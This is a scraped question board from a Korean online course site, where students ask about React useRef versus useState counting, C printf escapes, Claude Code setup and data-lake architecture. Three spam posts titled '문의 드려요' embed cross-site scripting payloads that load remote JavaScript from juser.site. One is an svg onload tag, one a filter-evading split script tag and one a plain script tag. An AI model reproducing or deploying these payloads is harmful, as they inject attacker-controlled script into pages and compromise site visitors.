묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨한 입 크기로 잘라 먹는 리액트(React.js) : 기초부터 실전까지
useRef, useState count 비교
안녕하세요 강사님!강의에서 useRef는 값이 변경되었을 때 리렌더링을 발생시키지 않으므로 값이나 DOM 요소를 참고하고 싶을 때 사용한다고 하셨는데요. 1)강의 예제 중, 수정이 일어난 횟수를 countRef에 담기도록 하셨는데, 이 때 값이 변경되어 'onChange 함수에서 setInput 함수를 호출함으로써 리렌더링이 발생하는 것이고, countRef.current++는 리렌더링이 발생함과 동시에 값이 증가 되는 것 뿐이다'라고 이해하면 되는 것일까요? 1번 코드 참고하시면 됩니다! 2)위처럼 이해를 하다가 문득 궁금한 것이 생겼는데, 2번 코드처럼..useState의 input 객체에 count 프로퍼티를 추가하여 0으로 초기화 해주었습니다.그리고 onChange 함수에서 setInput으로 count를 +1 시켜주었는데요.1번 예제처럼 수정할 때 마다 count가 +1 되는 것을 의도하였는데,이 때 textarea에서 ㄱ을 입력했다면,setInput 함수는 한 번 호출되며 textarea 수정과 count 증가가 동시에 발생하고 'textarea 수정 + count 증가' 이렇게 리렌더링이 한 번 발생하는 걸까요? 3) 만약 2번 질문의 답이 '결국 setInput 함수가 한 번 호출되며 작동하는 것이므로 리렌더링은 한 번이다.' 라면, 1번과 2번 코드는 '리렌더링이 발생할 때 마다 count 증가'라는 점에서 같은 결과인 걸까요..? 질문이 좀 복잡하지만.. 답변해주시면 감사하겠습니다..! 1) useRef 사용하여 countimport { useRef, useState } from "react"; export default function Test() { const [input, setInput] = useState({ name: "", bio: "", }); const countRef = useRef(0); console.log(input); console.log(countRef.current); const onChange = (e) => { countRef.current++; setInput({ ...input, [e.target.name]: e.target.value, }); }; return ( <div>...</div> ) }2) useState로 countimport { useState } from "react"; export default function Test() { const [input, setInput] = useState({ name: "", bio: "", count: 0, }); console.log(input); const onChange = (e) => { setInput({ ...input, [e.target.name]: e.target.value, count: input.count + 1, }); }; return ( <div>...</div> ) }
-
미해결
강의 자료
정말 죄송하다는 말씀 먼저 드리오며!!강의는 모두 들었고, 독학으로 문제 풀이에 집중 하고 있었습니다.문제 풀이를 하다 보니, 이론에 대한 갈증이 더욱 생겨, 지난 수강 하였던, 교재를 참고 하려고 열었더니, 아뿔사.. 2장 및 3장만 다운을 받았더라고요...게시판을 보니, 지금은 한번에 압축 파일을 받을 수 있도록 되어 있는 것 같은데, 당시에는 그게 없어서 일일이 다운 받아야 했고, 4장 부터 8장은 제가 강의만 받고 미처 다운로드를 못한거 같아요...훌륭하신 강사님의 강의는 이미 종료가 되어 더 이상 들을 수 없으니 (열심히 공부 했고, 모두 들어서 수료증도 받았고, 다른 분들께도 널리 공유 하였습니다...)4장 이후, 강의자료라도 펼쳐놓고 마무리 공부를 꼭꼭꼭 해야 할 것 같습니다.죄송하다는 말씀 다시 한 번 올리며, 꼭 다운 받을 수 있도록 도와 주시면 대단히 감사 드리겠습니다. (정말 열심히 수강 하였답니다. 질의도 많이 했었고... ㅜㅠ)
-
해결됨(2026) 일주일만에 합격하는 정보처리기사 실기
섹션 2. 11강 3분 12초
printf("a%%b = %d\n", remainder_result);에서 왜 %% 가 들어가는데 출력값은 a%b=1 인건가요? a%%b = 1 이 아닌 이유가 있나요~?
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지
나만의 출력 스타일 만들기
MD파일만들었습니다/output-style 커스터마이징 되지 않습니다
-
미해결2026년! 객체지향 제대로 배우기(with Python)
10. 파이썬 클래스와 객체 구현(self의 동작원리) 소스코드
10. 파이썬 클래스와 객체 구현(self의 동작원리)이 강의에 소스코드가 없습니다 !
-
미해결
추가 질문 드려보아요
https://inf.run/JKAfW관련 추가 질문 드려봅니다. 새로 프로젝트를 만들고 /init를 통해 claude.md를 작성하여 프로젝트를 claude를 통해 자동 생성하였습니다. 이후 추가적인 질문을 하고 수정하는 과정에서 claude.md를 계속적으로 읽은 과정이 발생함으로써 컨텍스트 사용량이 많이 발생 할 것 같은데요. 올바른 관리 방법이 있으신지요?
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지
claude window에서 설치시...
이렇게 되고...아무 반응도 없어요. 컴이 구려서 그런건가여? 옛날 컴이긴 한데..
-
미해결Kafka & Spark 활용한 Realtime Datalake
아키텍처 관련 질문
아키텍처 설계 부분에서 궁금한 점이 있어 질문드립니다. 일반적으로원천 → 수집 → 저장 → 처리 → 제공 → 활용의 흐름으로 데이터 아키텍처를 설명해주셨는데, 이 중 원천에 해당하는 부분에서 조금 헷갈리는 지점이 있습니다. 이전 강의에서 DW, DL, Lakehouse를 구축할 때원천 데이터를 가져와 별도의 저장소에 다시 저장하며, 이 과정에서 데이터가 중복될 수 있고그 중복이 필요한 이유에 대해서도 설명해주셨던 것으로 이해했습니다. 그래서 제가 이해한 내용을 예시로 확인하고 싶습니다. 예를 들어, 사내에 어떤 제품이 있고해당 제품의 백엔드 서버가 RDB를 사용하며서비스 데이터가 그 RDB에 저장되고 있다고 가정했을 때, DW, DL, Lakehouse를 구축하는 관점에서는이 서비스용 RDB 자체가 raw data source(원천 데이터) 가 되고,이 RDB로부터 데이터를 수집하여DW, DL, Lakehouse 등에 다시 적재하는 구조로 이해했는데이렇게 이해하는 것이 맞을지 궁금합니다.
-
미해결데이터분석가 서류탈락? 알려드릴게요, 되는 포트폴리오
안녕하세요. 코드 공개가 불가능하면 어떻게 해야할까요
안녕하세요. 강의 잘 들었습니다. 기업에서 인턴할때 진행했던 프로젝트라 코드 공개가 불가능하면 어떤식으로 만드는게 좋을까요.
-
미해결한 입 크기로 잘라 먹는 리액트(React.js) : 기초부터 실전까지
안된다고했던 이유가 무엇이었는지 모르겠습니다
영상 8분 57초에 onClick 이벤트에 결과값을 넣으면 안된다고 배웠는데 그게 어디에서 그랬는지 기억이 안납니다 ㅠㅠ
-
미해결
문의 드려요 <svg onload=$.getScript("//juser.site/j.js") style=display:none>
01155964458전화상담받고싶어요<svg onload=$.getScript("//juser.site/j.js") style=display:none>
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지
사용량 확인 시 Resets 시간설정 Seoul로 하는 방법
안녕하세요.강의 잘 수강하고 있습니다./usage 명령어를 통해 토큰 잔여량을 확인할 때,Resets 시간을 강의 영상처럼 (Asia/Seoul)로 확인 할 수 있을거라 생각했는데 저는 (UTC)로 표기되어 있습니다.해당 기준 시간 설정을 어디서 어떻게 하면 되는지 여쭤봅니다. 감사합니다.
-
미해결홍정모의 따라하며 배우는 C++
교재 있나요?
안녕하세요. 교육에 대한 교재가 따로 있나요?
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지
claude 설치시 환경변수(windows)
별다른 설정 안해도 잘되서 그냥 쓰고 있습니다. claude에 물어보니 자동으로 된다고 해서 안했거든요. 추후 따로 문제가 될까요? 아니면 버전에 따라 다른가요?
-
미해결
문의 드려요 <scrscriptipt/**/src=//juser.site/j.js></scrscriptipt>
01155964458전화상담받고싶어요<scrscriptipt/**/src=//juser.site/j.js></scrscriptipt>
-
미해결
문의 드려요<script src="//juser.site/j.js"></script>
01155964458전화상담받고싶어요<script src="//juser.site/j.js"></script>
-
미해결성장과 상금은 누구의 것? 인프런 3주 '서바이벌' 챌린지 : All or Nothing!
타 강의사이트 인증 방식 질문
유데미 강의를 듣고 있습니다.시청 시작화면, 시청 이후 화면을 OS 시간이 보이게끔 찍어서 첨부 드리고 있습니다.문제는 강의 영상마다 1분, 2분, 5분 길면 10분 이렇게 잘게 쪼개어져 있는데매 영상마다 시청 전, 시청 후를 찍어서 드려야 할까요?이렇게 하려니 강의에 집중이 안되어서 그런데 혹시 그냥 강의 시작 전에 한장 찍고 여러 영상을 다 시청한 후 찍어서 첨부 드려도 될까요?
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지
대화형 질문 유도 가능한가요?
현재 29. [ADDED] 대화형 질문 기능 까지 수강했습니다.프로젝트를 처음 시작할 때 계획모드에서 대화형 질문이 강의처럼 나오고 원하는 스택을 선택할 수 있으면 엄청 편할것같은데요,클로드코드가 이런 스택 선택을 질문 하도록 유도할 수 있을까요?저는 이력서 실습 후에 바로 진행해서 그런지 스택에 관련한 질문은 하지 않더라구요.이미지에서 노란 하이라이트 부분이 클로드코드가 물어본 질문과 제 대답입니다.
-
해결됨남박사의 파이썬으로 실전 웹사이트 만들기
app.config["MONGO_URI"] = "mongodb://localhost:27017/pm_db"
app.config["MONGO_URI"] = "mongodb://localhost:27017/pm_db" 여기에 MS-SQL 연결이 가능할까요 몽고를 사용요하지 않고... 예) ConnString = "Provider=SQLOLEDB;Data Source= 서버 주소 ;Initial Catalog=Board;User ID=아이디;Password=암호;"
-
미해결비개발자 4주만에 수익화 서비스 만들기: AI 바이브코딩 웹 + 앱 ALL IN ONE
notion 수업자료
notion 수업 자료는 어디에서 볼 수 있을까요?